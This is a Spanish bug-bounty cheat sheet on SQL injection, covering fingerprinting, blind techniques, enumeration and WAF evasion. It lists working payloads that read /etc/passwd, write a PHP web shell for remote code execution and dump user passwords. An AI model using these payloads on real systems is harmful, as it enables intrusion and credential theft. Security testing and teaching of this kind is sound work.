¿Qué es SQL Injection (SQLi)?
Es una vulnerabilidad que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Permite ver datos que normalmente no se pueden recuperar, modificar o eliminar datos, causando cambios persistentes en el contenido o comportamiento de la aplicación. En muchos casos, un atacante puede escalar para comprometer el servidor subyacente o realizar una denegación de servicio.
Tipos de SQLi (Estrategias de Explotación)
El éxito depende de cómo se recibe la respuesta del servidor.
Fundamentos y Reconocimiento (Fingerprinting)
Para cualquier reporte de Bug Bounty, identificar el motor de base de datos (DBMS) es el primer paso crítico para elegir los payloads correctos.
|Característica|Oracle |Microsoft SQL |PostgreSQL |MySQL |
|--------------|-------------|--------------|--------------|-----------------|
|Versión |v$version |@@version |version() |@@version |
|Comentarios |-- |-- o /* */ |-- o /* */ |#, -- o /* */ |
|Concatenación |'a'||'b' |'a'+'b' |'a'||'b' |'a' 'b' o CONCAT |
|Batch Queries |No soportado |Soportado (;) |Soportado (;) |Limitado |Inyecciones Ciegas (Blind SQLi)
Cuando el servidor no refleja datos, se utiliza la lógica o el tiempo para extraer información.
Basadas en Errores (Extraer datos vía mensajes de error)
Se provoca que el servidor "confiese" el dato en un mensaje de error visible.
- MySQL (XPATH):
EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))-> Error:\secret. - PostgreSQL:
CAST((SELECT password FROM users LIMIT 1) AS int)-> Error de sintaxis con el valor. - Oracle:
SELECT CASE WHEN (CONDICIÓN) THEN TO_CHAR(1/0) ELSE NULL END FROM dual.
Basadas en Tiempo (Time-Based)
Si la condición es verdadera, el servidor tarda en responder.
- MySQL:
IF(CONDICIÓN, SLEEP(10), 'a'). - PostgreSQL:
CASE WHEN (CONDICIÓN) THEN pg_sleep(10) ELSE pg_sleep(0) END. - MS SQL:
IF (CONDICIÓN) WAITFOR DELAY '0:0:10'. - Oracle:
CASE WHEN (CONDICIÓN) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END.
Enumeración del Contenido (Data Mining)
El objetivo es demostrar impacto listando tablas y columnas sensibles.
Enumerar Tablas:
- General:
SELECT table_name FROM information_schema.tables. - Oracle:
SELECT table_name FROM all_tables.
Enumerar Columnas:
- General:
SELECT column_name FROM information_schema.columns WHERE table_name = 'USERS'. - Oracle:
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS'.
Vectores de Inyección Estratégicos
Tier S (Acceso Directo):
ORDER BY: Útil para identificar el número de columnas sin romper la query original.GROUP BY: A veces evade filtros que buscan la palabraORDER.UPDATE/INSERT: Permite cambiar contraseñas de admin o crear usuarios nuevos.
Tier A (Extracción de Datos):
information_schema.tables: El mapa del tesoro en MySQL/PostgreSQL.sysobjects: El equivalente en MS SQL.
Tier B (Evasión):
HEX()/UNHEX(): Para enviar strings como valores hexadecimales y evadir WAFs.CHAR(): Construir comandos carácter por carácter.
Payloads de Bug Bounty
Nivel: Crítico (Exfiltración y Control)
Lectura de Archivos (LOAD_FILE):
- Por qué paga: Demuestra lectura de archivos sensibles del sistema operativo.
- Payload:
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--Escritura de Web Shell (INTO OUTFILE):
- Impacto: RCE (Remote Code Execution). El "Santo Grial" del Bug Bounty.
- Payload:
' UNION SELECT "<?php system($_GET['<command>']); ?>",2 INTO OUTFILE '/var/www/html/shell.php'--Dump de Usuarios:
- Payload:
' UNION SELECT null, concat(user,':',password), null FROM users--Nivel: Alto (Escalada de Privilegios)
user()/current_user: Saber si la DB corre comorootosa.@@version: Identificar versiones vulnerables a exploits específicos del motor.
Técnicas de Evasión y Payloads "Battle-Tested"
Estrategias para saltar WAFs y filtros comunes.
- Substrings Avanzados: En Oracle, usa índices negativos:
SUBSTR('foobar', -2, 1)devuelve'a'. - Case Sensitivity: Si bloquean
SELECT, pruebasElEcToSELect. - Comentarios Inline:
UNION/**/SELECTpara romper la detección de firmas de espacio. - URL Encoding Doble:
%2527en lugar de'. - Lógica Inversa:
WHERE id = -1 OR 1=1(usar un ID que no existe para forzar la visualización de tu inyección).
Tabla de Payloads
Conéctate conmigo
¿Te fue útil esta información? Puedes encontrar más contenido en: